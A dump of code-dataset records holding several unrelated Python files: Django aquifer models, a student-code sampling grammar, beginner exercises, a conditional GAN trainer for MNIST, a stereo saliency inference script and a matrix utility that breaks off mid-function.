ticket\n Aquifer_Subtype\tAquifer_Subtype_Descriptions\n 1a\tUnconfined sand and gravel - large river system\n 1b\tUnconfined sand and gravel aquifer - medium stream system\n 1c\tUnconfined sand and gravel aquifer - small stream system\n 2\tUnconfined sand and gravel - deltaic\n 3\tUnconfined sand and gravel - alluvial or colluvial fan\n 4a\tUnconfined sand and gravel - late glacial outwash \n 4b\tConfined sand and gravel - glacial \n 4c\tConfined sand and gravel - glacio-marine\n 5a\tFractured sedimentary rock\n 5b\tKarstic limestone\n 6a\tFlat-lying to gently-dipping volcanic bedrock\n 6b\tFractured crystalline bedrock \n UNK\tUnknown\n \"\"\"\n code = models.CharField(primary_key=True, max_length=3, db_column='aquifer_subtype_code')\n description = models.CharField(max_length=100)\n display_order = models.PositiveIntegerField()\n\n effective_date = models.DateTimeField(blank=True, null=True)\n expiry_date = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n db_table = 'aquifer_subtype_code'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)\n\n\nclass AquiferProductivity(AuditModel):\n \"\"\"\n Productivity choices for describing Aquifer \n -------------------\n High (H)\n Low (L)\n Moderate (M)\n \"\"\"\n code = models.CharField(primary_key=True, max_length=1, db_column='aquifer_productivity_code')\n description = models.CharField(max_length=100)\n display_order = models.PositiveIntegerField()\n\n effective_date = models.DateTimeField(blank=True, null=True)\n expiry_date = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n db_table = 'aquifer_productivity_code'\n ordering = ['display_order', 'code']\n verbose_name_plural = 'Aquifer Productivity Codes'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)\n\n\nclass AquiferDemand(AuditModel):\n \"\"\"\n Demand choices for describing Aquifer \n -------------------\n High\n Low\n Moderate\n \"\"\"\n code = models.CharField(primary_key=True, max_length=1, db_column='aquifer_demand_code')\n description = models.CharField(max_length=100)\n display_order = models.PositiveIntegerField()\n\n effective_date = models.DateTimeField(blank=True, null=True)\n expiry_date = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n db_table = 'aquifer_demand_code'\n ordering = ['display_order', 'code']\n verbose_name_plural = 'Aquifer Demand Codes'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)\n\n\nclass WaterUse(AuditModel):\n \"\"\"\n Type of Known Water Use choices for describing Aquifer \n -------------------\n Domestic\n Multiple\n Potential Domestic\n \"\"\"\n code = models.CharField(primary_key=True, max_length=2, db_column='water_use_code')\n description = models.CharField(max_length=100)\n display_order = models.PositiveIntegerField()\n\n effective_date = models.DateTimeField(blank=True, null=True)\n expiry_date = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n db_table = 'water_use_code'\n ordering = ['display_order', 'code']\n verbose_name_plural = 'Aquifer Water Use Codes'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)\n\n\nclass QualityConcern(AuditModel):\n \"\"\"\n Isolated\n Local\n None\n Regional\n \"\"\"\n code = models.CharField(primary_key=True, max_length=2, db_column='quality_concern_code')\n description = models.CharField(max_length=100)\n display_order = models.PositiveIntegerField()\n\n effective_date = models.DateTimeField(blank=True, null=True)\n expiry_date = models.DateTimeField(blank=True, null=True)\n\n class Meta:\n db_table = 'quality_concern_code'\n ordering = ['display_order', 'code']\n verbose_name_plural = 'Aquifer Quality Concern Codes'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)\n\n\nclass Aquifer(AuditModel):\n \"\"\"\n An underground layer of water-bearing permeable rock, rock fractures or unconsolidated materials\n (gravel, sand, or silt), from which groundwater is extracted using a water well. \n\n This table holds ONLY the aquifers to which we have associated one or more wells. It is not\n the definitive source of all aquifers in the province. \n\n \"\"\"\n aquifer_id = models.PositiveIntegerField(\n primary_key=True, verbose_name=\"Aquifer ID Number\")\n aquifer_name = models.CharField(max_length=100)\n location_description = models.CharField(\n max_length=100, blank=True, verbose_name='Description of Location')\n material = models.ForeignKey(\n AquiferMaterial,\n db_column='aquifer_material_code',\n blank=True,\n null=True,\n on_delete=models.PROTECT,\n verbose_name=\"Material Reference\",\n related_name='aquifers')\n subtype = models.ForeignKey(\n AquiferSubtype,\n db_column='aquifer_subtype_code',\n blank=True,\n null=True, \n on_delete=models.PROTECT,\n verbose_name=\"Subtype Reference\",\n related_name='aquifers')\n area = models.DecimalField(\n max_digits=5, decimal_places=1, blank=True, null=True, verbose_name='Size (square km)')\n productivity = models.ForeignKey(\n AquiferProductivity,\n db_column='aquifer_productivity_code',\n blank=True,\n null=True, \n on_delete=models.PROTECT,\n verbose_name=\"Productivity Reference\",\n related_name='aquifers')\n demand = models.ForeignKey(\n AquiferDemand,\n db_column='aquifer_demand_code',\n blank=True,\n null=True,\n on_delete=models.PROTECT,\n verbose_name=\"Demand Reference\",\n related_name='aquifers')\n known_water_use = models.ForeignKey(\n WaterUse,\n db_column='water_use_code',\n blank=True,\n null=True, \n on_delete=models.PROTECT,\n verbose_name=\"Known Water Use Reference\",\n related_name='aquifers')\n quality_concert = models.ForeignKey(\n QualityConcern,\n db_column='quality_concern_code',\n blank=True,\n null=True, \n on_delete=models.PROTECT,\n verbose_name=\"Quality Concern Reference\",\n related_name='aquifers')\n litho_stratographic_unit = models.CharField(\n max_length=100, blank=True, verbose_name='Lithographic Stratographic Unit')\n mapping_year = models.PositiveIntegerField(\n validators=[\n MinValueValidator(1990), \n MaxValueValidator(timezone.now().year)],\n blank=True,\n null=True, \n verbose_name=\"Date of Mapping\", \n help_text=\"Use the following format: \")\n notes = models.TextField(\n max_length=2000,\n blank=True,\n null=True,\n verbose_name='Notes on Aquifer, for internal use only.')\n\n class Meta:\n db_table = 'aquifer'\n ordering = ['aquifer_id']\n verbose_name_plural = 'Aquifers'\n\n def __str__(self):\n return '{} - {}'.format(self.code, self.description)","sub_path":"app/backend/aquifers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"111128631","text":"import sys\nsys.path.insert(0, '../..')\n\nimport generatorUtils as gu\nimport random\nimport numpy as np\nfrom base import Decision, ReusableDecision\n\n'''\nTODO: improve the multiples for rare opps\n'''\nclass MainMove(ReusableDecision):\n def renderCode(self):\n parts = {\n 'MoveDir':self.expand('MoveDir'),\n 'MoveAmt':self.expand('MoveAmt')\n }\n self.addState('firstMove', False)\n code = 'Move{MoveDir}({MoveAmt})'\n return gu.format(code, parts)\n\nclass ConstMove(ReusableDecision):\n def renderCode(self):\n # note that this won't count as using a constant\n # for a move (if a program has no moves then you\n # should turn on that flag elsewhere)\n return 'MoveForward({MoveConst})'\n\nclass MoveDir(ReusableDecision):\n\n def registerChoices(self):\n self.addChoice(self.getDecisionName(), {\n 'Forward':300 * self.getState('Ability'),\n 'Backwards':2\n })\n\n def updateRubric(self):\n # only flip rubric if its the first render\n if not self.getState('firstMove'): return\n if self.getChoice(self.getDecisionName()) == 'Backwards':\n self.turnOnRubric('Move: forward/backward confusion')\n\n def renderCode(self):\n toReturn = self.getChoice(self.getDecisionName())\n self.incrementCount()\n return toReturn\n\nclass MoveAmt(ReusableDecision):\n \n def registerChoices(self):\n self.addChoice(self.getDecisionName(), {\n 'Const':120,\n 'Variable':300 * self.getState('Ability')\n })\n\n\n def updateRubric(self):\n # only flip rubric if its the first render\n if not self.getState('firstMove'): return\n if self.getChoice(self.getDecisionName()) == 'Const':\n self.turnOnRubric('Move: constant')\n\n def renderCode(self):\n style = self.getChoice(self.getDecisionName())\n self.incrementCount()\n if style == 'Const': return '{MoveConst}'\n return '{MoveVar}'\n\nclass MoveConst(ReusableDecision):\n\n def registerChoices(self):\n self.addChoice(self.getDecisionName(),{\n '100': 48, '15': 5, '30': 28, '50': 24, \n '90': 28, '25': 6, '80': 1, '22.5': 1, \n '60': 2, '70': 15, '51': 1, '29': 1, '10': 6, \n '20': 2, '0': 1, '360 / 9': 1, '3': 1, '4': 1, \n '40': 2, '5': 2, '35': 1, '36': 1, '45': 1, \n '30 + 10': 1, '27': 3, '49': 1, '88': 2, '50 + 10': 1, \n '75': 2, '31': 1, '68': 2, '28': 1, '1': 1, '26': 1\n })\n def renderCode(self):\n toReturn = self.getChoice(self.getDecisionName())\n self.incrementCount()\n return toReturn\n\nclass MoveVar(ReusableDecision):\n\n def registerChoices(self):\n self.addChoice(self.getDecisionName(), {\n '*':137 * self.getState('Ability'),\n 'none':30,\n '/':12,\n '+':15,\n # 'combo':1 (can't parse this!)\n })\n\n def updateRubric(self):\n # only flip rubric if its the first render\n if not self.getState('firstMove'): return\n opp = self.getChoice(self.getDecisionName())\n if opp == 'none':\n # note that no opp counts as wrong multiple!\n self.turnOnRubric('Move: missing opp')\n self.turnOnRubric('Move: wrong multiple')\n elif opp != '*':\n self.turnOnRubric('Move: wrong opp')\n\n def renderCode(self):\n oppType = self.getChoice(self.getDecisionName())\n self.incrementCount()\n if oppType == 'none':\n return 'x'\n if oppType == 'combo':\n # this is petty rare, so i just include one example\n return '360 / x * 10'\n\n if oppType == '*':\n multiple = self.expand('MultCoefficient')\n if oppType == '/':\n multiple = self.expand('DivideCoefficient')\n if oppType == '+':\n multiple = self.expand('AddCoefficient')\n return self.expand('BinaryOpp', {\n 'a':'x', \n 'b':multiple,\n 'opp':oppType\n })\n\nclass DivideCoefficient(ReusableDecision):\n def registerChoices(self):\n self.addChoice(self.getDecisionName(), {\n '360': 5, '100': 1, '180': 1, \n '10': 3, '5': 1\n })\n\n def renderCode(self):\n toReturn = self.getChoice(self.getDecisionName())\n self.incrementCount()\n return str(toReturn)\n\n\nclass AddCoefficient(ReusableDecision):\n def registerChoices(self):\n self.addChoice(self.getDecisionName(), {\n '75':3,\n '10':1\n })\n\n def renderCode(self):\n toReturn = self.getChoice(self.getDecisionName())\n self.incrementCount()\n return str(toReturn)\n\nclass MultCoefficient(ReusableDecision):\n\n def registerChoices(self):\n options = list(range(1, 10))\n options.extend([13,20,30,110])\n optionsDict = {}\n for opt in options:\n optionsDict[opt]=1\n optionsDict[10]= 90 * self.getState('Ability')\n self.addChoice(self.getDecisionName(), optionsDict)\n\n def updateRubric(self):\n # only flip rubric if its the first render\n if not self.getState('firstMove'): return\n opp = self.getChoice(self.getDecisionName())\n if opp != 10:\n self.turnOnRubric('Move: wrong multiple')\n else:\n self.turnOnRubric('Move: correct')\n\n def renderCode(self):\n toReturn = self.getChoice(self.getDecisionName())\n self.incrementCount()\n return str(toReturn)\n\n\n","sub_path":"src/rubricsampling/grammars/codeorg9_ability/move.py","file_name":"move.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"130116757","text":"num = int(input())\nfor i in range(num):\n quiz = list(str(input()))\n O_score = 0\n X_score = 0\n total = 0\n for j in range(len(quiz)):\n if quiz[j] == 'O':\n O_score += 1\n total += O_score\n else:\n O_score = 0\n X_score = 0\n print(total)\n","sub_path":"week03/Day13/bj8958_shm.py","file_name":"bj8958_shm.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"14006517","text":"# Задача-1:\n# Дан список, заполненный произвольными целыми числами, получите новый список, элементами которого будут\n# квадратные корни элементов исходного списка, но только если результаты извлечения корня не имеют десятичной части и\n# если такой корень вообще можно извлечь\n# Пример: Дано: [2, -5, 8, 9, -25, 25, 4] Результат: [3, 5, 2]\nimport math\n\nls1 = [2, -5, 8, 9, -25, 25, 4]\nls2 = []\n\nfor x in ls1:\n if x < 0:\n continue\n if float.is_integer(math.sqrt(x)):\n ls2.append(int(math.sqrt(x)))\n\nprint(ls2)\n\n\n# Задача-2: Дана дата в формате dd.mm.yyyy, например: 02.11.2013.\n# Ваша задача вывести дату в текстовом виде, например: второе ноября 2013 года.\n# Склонением пренебречь (2000 года, 2010 года)\n\nthe_date = '22.01.2017'\n\ndict_days = {'01': 'первое',\n '02': 'второе',\n '03': 'третье',\n '04': 'четвертое',\n '05': 'пятое',\n '06': 'шестое',\n '07': 'седьмое',\n '08': 'восьмое',\n '09': 'девятое',\n '10': 'десятое',\n '11': 'одинадцатое',\n '12': 'двенадцатое',\n '13': 'тренадцатое',\n '14': 'четырнадцатое',\n '15': 'пятнадцатое',\n '16': 'шестнадцатое',\n '17': 'семнадцатое',\n '18': 'восемнадцатое',\n '19': 'девятнадцатое',\n '20': 'двадцатое',\n '21': 'двадцать первое',\n '22': 'двадцать второе',\n '23': 'двадцать третье',\n '24': 'двадцать четвертое',\n '25': 'двадцать пятое',\n '26': 'двадцать шестое',\n '27': 'двадцать седьмое',\n '28': 'двадцать восьмое',\n '29': 'двадцать девятое',\n '30': 'тридцатое',\n '31': 'тридцать первое'}\n\ndict_months = {'01': 'января',\n '02': 'февраля',\n '03': 'марта',\n '04': 'апреля',\n '05': 'мая',\n '06': 'июня',\n '07': 'июля',\n '08': 'августа',\n '09': 'сентября',\n '10': 'октября',\n '11': 'ноября',\n '12': 'декабря' }\n\nls4 = the_date.split('.')\nday = ls4[0]\n\nif len(day) < 2:\n day = \"0\" + day\n\nmonth = ls4[1]\n\nif len(month) < 2:\n month = \"0\" + month\n\nyear = ls4[2]\n\nprint(the_date)\nprint(\"{} {} {} года\".format(dict_days[day], dict_months[month], year))\n\n# Задача-3: Напишите алгоритм, заполняющий список произвольными целыми числами в диапазоне от -100 до 100\n# В списке должно быть n - элементов\n# Подсказка: для получения случайного числа изпользуйте функцию randint() модуля random\nimport random\n\nn = 10\nls3 = []\n\nfor x in range(n):\n ls3.append(random.randint(-100, 100))\n\nprint(ls3)\n\n# Задача-4: Дан список, заполненный произвольными целыми числами\n# Получите новый список, элементами которого будут только уникальные элементы исходного\n# Например, lst = [1,2,4,5,6,2,5,2], нужно получить lst2 = [1,4,6]\n\nls4 = [1, 2, 4, 5, 6, 2, 5, 2]\nls5 = []\n\nfor a in ls4:\n counter = 0\n for b in ls4:\n if a == b:\n counter += 1\n if counter > 1:\n break\n if counter == 1:\n ls5.append(a)\n\nprint(ls5)\n","sub_path":"Python1/lesson2/hw02_normal.py","file_name":"hw02_normal.py","file_ext":"py","file_size_in_byte":3943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"533819760","text":"import numpy as np\nimport torch\nimport torch.optim as optim\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms, datasets\nfrom tqdm import tqdm\n\nfrom utils.Logger import Logger\n\n\ndef mnist_data():\n # Transform normalizes MNIST to [-1, 1]\n compose = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((.5, .5, .5), (.5, .5, .5))\n ])\n out_dir = './dataset'\n\n return datasets.MNIST(root=out_dir,\n train=True,\n transform=compose,\n download=True)\n\n# We define the discriminator to have sufficient power (instead of the implementation in the\n# original paper (note the use of leaky relus and batch norming). The generator is implemented\n# as per the original paper, however.\nclass Discriminator(nn.Module):\n def __init__(self, feature_size, num_classes):\n super(Discriminator, self).__init__()\n\n self.feature_size = feature_size\n self.num_classes = num_classes\n\n self.fc1_input = nn.Sequential(\n nn.Linear(self.feature_size, 1024),\n nn.LeakyReLU(0.2),\n )\n self.fc1_label = nn.Sequential(\n nn.Linear(self.num_classes, 1024),\n nn.LeakyReLU(0.2),\n )\n\n self.fc2 = nn.Sequential(\n nn.Linear(1024 + 1024, 512),\n nn.BatchNorm1d(512),\n nn.LeakyReLU(0.2),\n )\n\n self.fc3 = nn.Sequential(\n nn.Linear(512, 256),\n nn.BatchNorm1d(256),\n nn.LeakyReLU(0.2),\n )\n\n self.fc4 = nn.Sequential(\n nn.Linear(256, 1),\n nn.Sigmoid(),\n )\n\n def forward(self, input, label):\n x = self.fc1_input(input)\n y = self.fc1_label(label)\n x = torch.cat([x, y], 1)\n x = self.fc2(x)\n x = self.fc3(x)\n x = self.fc4(x)\n\n return x\n\nclass Generator(nn.Module):\n def __init__(self, feature_size, noise_dim, num_classes):\n super(Generator, self).__init__()\n\n self.feature_size = feature_size\n self.noise_dim = noise_dim\n self.num_classes = num_classes\n\n self.fc1_noise = nn.Sequential(\n nn.Linear(self.noise_dim, 200),\n nn.ReLU(),\n )\n self.fc1_label = nn.Sequential(\n nn.Linear(self.num_classes, 1000),\n nn.ReLU(),\n )\n\n self.fc2 = nn.Sequential(\n nn.Linear(200 + 1000, 1200),\n nn.BatchNorm1d(1200),\n nn.ReLU(),\n )\n\n self.fc3 = nn.Sequential(\n nn.Linear(1200, self.feature_size),\n nn.Tanh(),\n )\n\n\n def forward(self, noise, label):\n x = self.fc1_noise(noise)\n y = self.fc1_label(label)\n x = torch.cat([x, y], 1)\n\n x = self.fc2(x)\n x = self.fc3(x)\n\n return x\n\ndef train_discriminator(optimizer, real_data, fake_data, labels):\n N = real_data.size(0)\n\n optimizer.zero_grad()\n\n # Using the GAN hack where we construct mini batches that consist entirely of fake examples\n # and others entirely of real examples\n prediction_real = discriminator(real_data, labels)\n error_real = loss(prediction_real, ones_target(N))\n error_real.backward()\n\n prediction_fake = discriminator(fake_data, labels)\n error_fake = loss(prediction_fake, zeros_target(N))\n error_fake.backward()\n\n optimizer.step()\n\n return error_real + error_fake, prediction_real, prediction_fake\n\ndef train_generator(optimizer, fake_data, labels):\n N = fake_data.size(0)\n\n optimizer.zero_grad()\n\n prediction = discriminator(fake_data, labels)\n error = loss(prediction, ones_target(N))\n error.backward()\n\n optimizer.step()\n\n return error\n\n# TODO: As per GAN hacks, should use Gaussian noise and not uniform\ndef noise(size, noise_dim):\n noise = Variable(torch.randn(size, noise_dim))\n if (torch.cuda.is_available()):\n noise = noise.cuda()\n\n return noise\n\ndef init_weights(m):\n if(isinstance(m, nn.Linear)):\n m.weight.data.normal_(mean=0, std=0.02)\n m.bias.data.zero_()\n\n# Functions for real image targets (1s) and fake image targets (0s)\ndef ones_target(size):\n data = Variable(torch.ones(size, 1))\n if (torch.cuda.is_available()):\n return data.cuda()\n\n return data\n\ndef zeros_target(size):\n data = Variable(torch.zeros(size, 1))\n if (torch.cuda.is_available()):\n return data.cuda()\n\n return data\n\ndef images_to_vector(images):\n return images.view(images.size(0), 784)\n\ndef vector_to_images(vectors):\n return vectors.view(vectors.size(0), 1, 28, 28)\n\nif __name__ == '__main__':\n num_epochs = 200\n batch_size = 100\n num_test_samples = 16\n\n feature_size = 28 * 28\n num_classes = 10\n noise_dim = 100\n\n data = mnist_data()\n data_loader = DataLoader(data,\n batch_size=batch_size,\n shuffle=True)\n num_batches = len(data_loader)\n\n discriminator = Discriminator(feature_size, num_classes)\n discriminator.apply(init_weights)\n generator = Generator(feature_size, noise_dim, num_classes)\n generator.apply(init_weights)\n if torch.cuda.is_available():\n discriminator.cuda()\n generator.cuda()\n\n # Optimizers\n d_optim = optim.Adam(discriminator.parameters(), lr=0.0002, betas=(0.5, 0.999))\n g_optim = optim.Adam(generator.parameters(), lr=0.0002, betas=(0.5, 0.999))\n\n # Loss\n loss = nn.BCELoss()\n\n test_noise = noise(num_test_samples, noise_dim)\n logger = Logger(model_name='CGAN', data_name='MNIST')\n\n # Implementing experience replay to reduce mode collapse (increase robustness of\n # discriminator by preventing generator from being able to just rely on a very\n # narrow subset of possible generations to fool the discriminator\n exp_replay = []\n for epoch in (range(num_epochs)):\n for n_batch, (real_batch, real_labels) in enumerate(tqdm(data_loader)):\n real_data = Variable(images_to_vector(real_batch)).float()\n real_labels = Variable(real_labels.view(-1, 1)).long()\n c = torch.FloatTensor(real_labels.size(0), num_classes)\n c.zero_()\n c.scatter_(1, real_labels, 1) # dim, index, src value\n real_labels = c\n if torch.cuda.is_available():\n real_data = real_data.cuda()\n real_labels = real_labels.cuda()\n\n # Generator fake data and train D\n fake_data = generator(noise(real_data.size(0), noise_dim), real_labels).detach()\n\n r_idx = np.random.randint(batch_size)\n exp_replay.append([real_data[r_idx], fake_data[r_idx], real_labels[r_idx]])\n\n # If we have enough points, do experience replay\n if len(exp_replay) == batch_size:\n real_images = torch.stack([p[0] for p in exp_replay])\n fake_images = torch.stack([p[1] for p in exp_replay])\n image_labels = torch.stack([p[2] for p in exp_replay])\n if (torch.cuda.is_available()):\n real_images = real_images.cuda()\n fake_images = fake_images.cuda()\n image_labels = image_labels.cuda()\n d_error, d_pred_real, d_pred_fake = train_discriminator(d_optim,\n real_images,\n fake_images,\n image_labels)\n exp_replay = []\n else:\n d_error, d_pred_real, d_pred_fake = train_discriminator(d_optim,\n real_data,\n fake_data,\n real_labels)\n\n # Generate fake data and train G\n fake_data = generator(noise(real_data.size(0), noise_dim), real_labels)\n g_error = train_generator(g_optim, fake_data, real_labels)\n\n # Log error\n logger.log(d_error, g_error, epoch, n_batch, num_batches)\n\n # Display progress\n if (n_batch % 100 == 0):\n sample_labels = torch.zeros(num_test_samples,\n num_classes).scatter_(1,\n torch.randint(0,\n num_classes - 1,\n (num_test_samples, 1)\n ).long(),\n 1)\n if (torch.cuda.is_available()):\n sample_labels = sample_labels.cuda()\n test_images = vector_to_images(generator(test_noise, sample_labels)).data.cpu()\n\n logger.log_images(\n test_images, num_test_samples,\n epoch, n_batch, num_batches\n )\n\n # Display status logs\n logger.display_status(\n epoch, num_epochs, n_batch, num_batches,\n d_error, g_error, d_pred_real, d_pred_fake\n )\n\n","sub_path":"CGAN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"196803690","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 8 09:01:05 2019\r\n\r\n@author: Dell\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 16 22:46:16 2018\r\n\r\n@author: Dell\r\n\"\"\"\r\n#############################################\r\nimport time\r\nimport numpy as np\r\n#############################################\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nimport torch.optim\r\nfrom torch.optim.lr_scheduler import StepLR\r\nimport torchvision.transforms as transforms\r\nimport matplotlib.image as mpimg\r\n#############################################\r\nimport tools.Tools as tool\r\nimport tools.stereo_load as data_loader\r\nfrom tools.metrics import Eval_tool\r\n#############################################\r\nfrom model import get_model\r\nimport Loss as ls\r\nimport Config\r\nimport os\r\nimport torch.nn.functional as F\r\n#############################################\r\ndef save_d(img_tensor, dir_path):\r\n out = img_tensor.cpu().clone()\r\n out = out.detach().numpy()\r\n out = out[0]\r\n out = out[0]\r\n out[out > 1] = 1\r\n out[out<-1] = -1\r\n mpimg.imsave(dir_path,out, cmap='gray')\r\ndef val_iter(net, val_data_loader, device, dir_path, eval_tool):\r\n net.eval()\r\n with torch.no_grad(): \r\n #######验证过程\r\n for i_batch, sample_batched in enumerate(val_data_loader):\r\n ################读取数据 ################\r\n rgb = sample_batched['image'].to(device)\r\n thermal = sample_batched['thermal'].to(device)\r\n gt = sample_batched['label'].to(device)\r\n name = sample_batched['name']\r\n h = sample_batched['height']\r\n w = sample_batched['width']\r\n out = net(rgb, thermal)\r\n out0 = out[0]\r\n# out0 = F.interpolate(out0, (h, w), mode='bilinear')\r\n save_d(out0, dir_path +'/' + name[0] + '.png')\r\n eval_tool.run_eval(out0, gt)\r\n ############每个batch的结果统计和输出##########\r\n if i_batch % 100 == 0 and i_batch > 0:\r\n print('-->step:' , i_batch, 'done!')\r\n ##################每个epoch的损失统计和打印#############################\r\n mae, maxF, Sm = eval_tool.get_score()\r\n print('mae:', mae, 'max F measure:', maxF, 'S measure:' , Sm)\r\n return mae, maxF, Sm\r\n \r\ndef val_iter1(net, val_data_loader, device, dir_path, eval_tool):\r\n net.eval()\r\n with torch.no_grad(): \r\n #######验证过程\r\n for i_batch, sample_batched in enumerate(val_data_loader):\r\n ################读取数据 ################\r\n rgb = sample_batched['image'].to(device)\r\n thermal = sample_batched['thermal'].to(device)\r\n gt = sample_batched['label'].to(device)\r\n name = sample_batched['name']\r\n out = net(rgb, thermal)\r\n out0 = out\r\n save_d(out0, dir_path +'/' + name[0] + '.png')\r\n eval_tool.run_eval(out0, gt)\r\n ############每个batch的结果统计和输出##########\r\n if i_batch % 200 == 0 and i_batch > 0:\r\n print('-->step:' , i_batch, 'done!')\r\n ##################每个epoch的损失统计和打印#############################\r\n mae, maxF, Sm = eval_tool.get_score()\r\n print('mae:', mae, 'max F measure:', maxF, 'S measure:' , Sm)\r\n return mae, maxF, Sm\r\n \r\ndef train(args = Config.Config(), val_fun=val_iter, datsets=1):\r\n args.name= 'infence' \r\n###############################################################################\r\n#####################读取数据###################################################\r\n Date_File = \"/media/hpc/data/work/dataset/stere/\"\r\n image_h, image_w = data_loader.get_Parameter()\r\n####################读取测试数据###################################################\r\n val_dataset = data_loader.data_loader(Date_File,'test', subset=datsets,\r\n transform=transforms.Compose([\r\n data_loader.scaleNorm(image_w, image_h, (1, 1.2), False),\r\n data_loader.ToTensor(),\r\n ]))\r\n val_data_loader = DataLoader(val_dataset, 1, shuffle=False, num_workers=2)\r\n###############################################################################\r\n################################准备设备########################################\r\n if args.is_cuda and torch.cuda.is_available():\r\n device = torch.device(\"cuda\", args.device)\r\n torch.cuda.set_device(args.device)\r\n else:\r\n device = torch.device(\"cpu\")\r\n###############################################################################\r\n################################加载模型########################################\r\n net = get_model(args.model_type)\r\n net.to(device)\r\n \r\n print('训练模型为: ', args.model_type, 'GPU:' , device, '图像大小', image_h, image_w)\r\n################################加载优化器######################################\r\n tool.load_ckpt(net, None, args.last_ckpt, device)\r\n time_dir = tool.make_infence_dir(args)\r\n eval_tool = Eval_tool()\r\n eval_tool.reset()\r\n begin_time = time.time()\r\n mae, maxF, Sm = val_fun(net, val_data_loader, device, time_dir, eval_tool)\r\n totall_time = time.time()-begin_time\r\n avg_time = totall_time / len(val_data_loader) \r\n print(avg_time)\r\ndef get_infence(args, dataset = 1,model_tpye = 0): \r\n if model_tpye == 1:\r\n train(args,val_iter, dataset)\r\n if model_tpye == 2:\r\n train(args, val_iter1, dataset) \r\nif __name__ == '__main__':\r\n train()","sub_path":"infence_stereo.py","file_name":"infence_stereo.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"111861161","text":"#!/usr/bin/env python3\n\nimport sys\nimport math\nimport numpy as np\n\ndef helper(err):\n if err==0:\n helper_msg=\"\"\"\n build a matrix casting outwardly redundant slopes to 0\n ./magn.py INT # INT : number of rings in matrix\n ex.\n ./magn.py 17\n \"\"\"\n print(helper_msg)\n elif err==1:\n err_msg=\"\"\"\n err : {} : {} : bad argument\n please supply only one INT as an argument\n ex.\n ./magn.py 17\n or -h for the help dialogue:\n ./magn.py -h\n \"\"\".format(err,sys.argv[1])\n print(err_msg)\n elif err==2:\n err_msg=\"\"\"\n err : {} : {} : bad argument\n maximum vector magnitude must be greater than 2\n ex.\n ./magn.py 4\n \"\"\".format(err,sys.argv[1])\n print(err_msg)\n else:\n helper(0)\n exit(0)\n\n### std_out functions >>>\n\ndef out_al(bnd,ar):\n #stdout print statement evenly displays list elements\n #based on the length of the first element\n # add to any elements until all elements are the same length as the first\n ml=len(str(bnd))\n sar=\"\"\n for i in ar:\n si=\" \"*(ml-len(str(i)))+str(i)\n sar=sar+\" \"+str(si)\n return sar\n\n\ndef out_mat(verbose,mat,bound):\n #stdout print matrix with evenly spaced elements\n print()\n if verbose==True:\n for _axis in mat:\n print(out_al(bound,_axis))\n\n\ndef out_lbl_vchk(verbose,outs):\n #stdout values with labels for debugging\n if verbose==True:\n print(\"\\n\")\n cnt=0\n l=len(outs)\n while cnt>>\ndef slopes_preT(lvl):\n verbose=False\n\n slopes=[0,1]\n vec_slopePreTranslate=[[0,1],[1,1]]\n redundant=[]\n\n for i in range(2,lvl+2,1):\n for dim in range(0,i+1,1):\n dims=[i,dim]\n slope=dims[1]/dims[0]\n if slope not in slopes:\n slopes.append(slope)\n vec_slopePreTranslate.append(dims)\n else:\n redundant.append(dims)\n return [vec_slopePreTranslate,redundant,slopes]\n\n\n\ndef full_mat(bound):\n verbose=True\n mat=np.array([[1,1,1]])\n mat_onit=[[1,0,1],[1,1,1]]\n for ea in mat_onit:\n cat=np.array([ea])\n mat=np.concatenate((mat,cat))\n for ea in range(2,bound,1):\n mat=np.insert(mat, 0, ea, axis=0)\n mat=np.insert(mat, len(mat), ea, axis=0)\n mat=np.insert(mat, 0, ea, axis=1)\n mat=np.insert(mat, len(mat[0]), ea, axis=1)\n return mat\n\n\ndef include_Rotations(to_rot):\n rot_list=[] #list of rotations\n # i,j sign 1|-1\n #rot_list.append([0,0,0]) #[[0,1],[1,1] #onit\n rot_list.append([1,0,0]) #[[1,0],[1,1]\n rot_list.append([0,1,0]) #[[0,1],[-1,1]\n rot_list.append([1,1,0]) #[[1,0],[-1,1]\n\n rot_list.append([0,1,1]) #[[1,0],[1,1]\n rot_list.append([0,0,1]) #[[0,1],[-1,1]\n rot_list.append([1,0,1]) #[[1,0],[-1,1]\n\n rot=np.array([[to_rot[0][1],to_rot[0][0]]])\n for r in rot_list:\n if r[0]==0:\n r00=0\n r01=1\n else:\n r00=1\n r01=0\n if r[1]==0:\n r1=1\n else:\n r1=-1\n if r[2]==0:\n r2=1\n else:\n r2=-1\n for ea in to_rot:\n cat=np.array([[r1*ea[r00],r2*ea[r01]]])\n rot=np.concatenate((rot,cat))\n to_rot=np.concatenate((to_rot,rot))\n return to_rot\n\n\ndef mat_setReduTo0(mat,redu):\n hlf=int((len(mat)-1)/2) #0 indice square\n for ea in redu:\n i=hlf+ea[0]\n j=hlf-ea[1]\n mat[j,i]=0\n return mat\n\n\ndef build_mat(bound):\n verbose=True\n\n mat=full_mat(bound)\n\n 